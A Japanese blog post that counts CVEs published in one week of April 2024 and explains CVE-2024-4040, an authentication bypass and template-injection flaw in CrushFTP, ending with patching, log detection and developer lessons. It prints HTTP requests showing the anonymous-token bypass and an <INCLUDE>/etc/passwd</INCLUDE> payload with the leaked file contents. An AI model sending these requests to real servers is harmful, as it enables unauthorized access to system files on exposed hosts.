はじめに
脆弱性がたまに話題になりますが、一週間の間にいくつの脆弱性が公開されているか知っていますか?
本記事では、2024/04/20~2024/04/26の一週間の間に公開されたCVEの件数とその中で個人的に気になったものについてまとめてみました。
2024/04/20~2024/04/26に公開されたCVE
概要 | 件数 |
---|---|
公開されたCVEの件数 | 511件 |
CVSSスコアが7.0以上であるCVEの件数 | 150件 |
今回の記事でCVEの件数を調べるのは2回目ですが、今回公開されたCVEの件数は先週の1/2程度でした。今回調べた期間が少ないのか、先週が多かったのか気になりました。
そこで、先々週(2024/04/06~2024/04/12)とさらにその前の週(2024/03/30~2024/04/05)の件数を調べてみましたが、どちらも1000件程度CVEが公開されているようでした。今回公開された脆弱性は少ないようです。
しかし、公開されたCVEの件数は少ないですが、CVE-2024-20353など悪用が確認された脆弱性は多かったです。
気になったもの
期間の中で気になった脆弱性について調べました。
CVE-2024-4040
概要
CVSS Base Score: 10
EPSS Score: 1.60%
CrushFTPという、マルチプロトコル、マルチプラットフォームのファイル転送サーバで見つかった脆弱性。
CrushFTPの10.7.1より前と、11.1.0のバージョンには、サーバ側にテンプレートインジェクションの脆弱性があり、認証されていないリモートの攻撃者がVFSサンドボックスの外側のファイルシステムにアクセスすることができます。また、認証をバイパスして管理者権限を取得し、サーバ上でリモートコード実行の可能性があります。
CrowdStrikeは、この脆弱性がゼロデイ脆弱性として実際に悪用されたという投稿をしています。また、インターネットに公開されているCrushFTPのインスタンスは約5.200個あるようです。
詳細(脆弱性の仕組み)
https://attackerkb.com/topics/20oYjlmfXa/cve-2024-4040/rapid7-analysis
上記記事では、CVE-2024-4040の脆弱性について解説しています。
この解説を簡単にまとめると
CrushFTPのあるAPIエンドポイントが匿名ユーザにもトークンを与える処理となっており、そのトークンを使用すれば、匿名ユーザが通常アクセスできないSSTIの脆弱性があるエンドポイントにアクセスできてしまうということです。
匿名ユーザにもトークンが与えられる
下記は匿名ユーザにもトークンを与えるエンドポイントに、アクセスした際のリクエストとレスポンスの一部です。CrushAuth
の項目にトークンがあることがわかります。
# 匿名ユーザでエンドポイントにアクセス
GET /WebInterface/ HTTP/1.1
...
# そのレスポンス
HTTP/1.1 404 Not Found
Set-Cookie: currentAuth=vndQ; path=/; secure; SameSite=None
Set-Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; path=/; secure; SameSite=None; HttpOnly
...
そして下記は、本来ならば404となるエンドポイントに、このトークンを用いることでアクセスできてしまっているリクエストとレスポンスの一部です。
# 匿名ユーザでアクセストークンを用いてエンドポイントにアクセス
POST /WebInterface/function/?c2f=vndQ&command=zip&path=aaa&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
...
# そのレスポンス
HTTP/1.1 200 OK
...
<?xml version="1.0" encoding="UTF-8"?>
<commandResult><response>You need download, upload permissions to zip a file:/bbb
You need upload permissions to zip a file:ubuntu-x64-01
</response></commandResult>
SSTIの脆弱性
そして、このエンドポイントにはSSTIの脆弱性があり、任意コードの実行が可能となります。
下記はSSTIの脆弱性を利用し、/etc/passwd
を表示するリクエストとレスポンスの一部です。テンプレートエンジンでは、<INCLUDE>
というタグを検索し、その結果から何かしらの処理をしていることがわかります。
# リクエスト
POST /WebInterface/function/?command=zip&c2f=vndQ&path=<INCLUDE>/etc/passwd</INCLUDE>&names=/bbb HTTP/1.1
Host: localhost
Cookie: CrushAuth=1713821078876_GAZtOk6j6gT7gHjv0pQUygUGixvndQ; c2f=vndQ
...
# レスポンス
HTTP/1.1 200 OK
...
<?xml version="1.0" encoding="UTF-8"?>
<commandResult><response>You need download, upload permissions to zip a file:/bbb
You need upload permissions to zip a file:root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
</response></commandResult>
対策、検知
脆弱性を修正したバージョンがアップされているので、対策としては、CrushFTPを更新することです。
検知方法としては、SSTIに<INCLUDE>
というタグを用いていることから、クエリパラメータやアクセスログに<INCLUDE>
がないか見つけることが可能です。
我々、開発者はどうするべきか
この脆弱性から我々開発者は何を学べばよいでしょうか?
この脆弱性の最大のポイントは、匿名ユーザが本来アクセスできないエンドポイントにアクセスできてしまったことだと私は考えます。
エンドポイントにアクセスできるのが認証されているユーザのみであれば、SSTIの脆弱性があったとしても悪用は起こりにくかったはずです。
たとえ、ユーザ認証が必須のエンドポイントに、当たり前ですが脆弱性はあってはならないですね。さらに、セッションの取り扱いにも注意しないといけません。
おわりに
こういった脆弱性がゼロデイで悪用されているのはとても怖いです。
何かおかしな点がありましたらご指摘ください!
また、自分のアウトプット力を高めるためにも定期的にこういった脆弱性調査を行っていきたいと思います!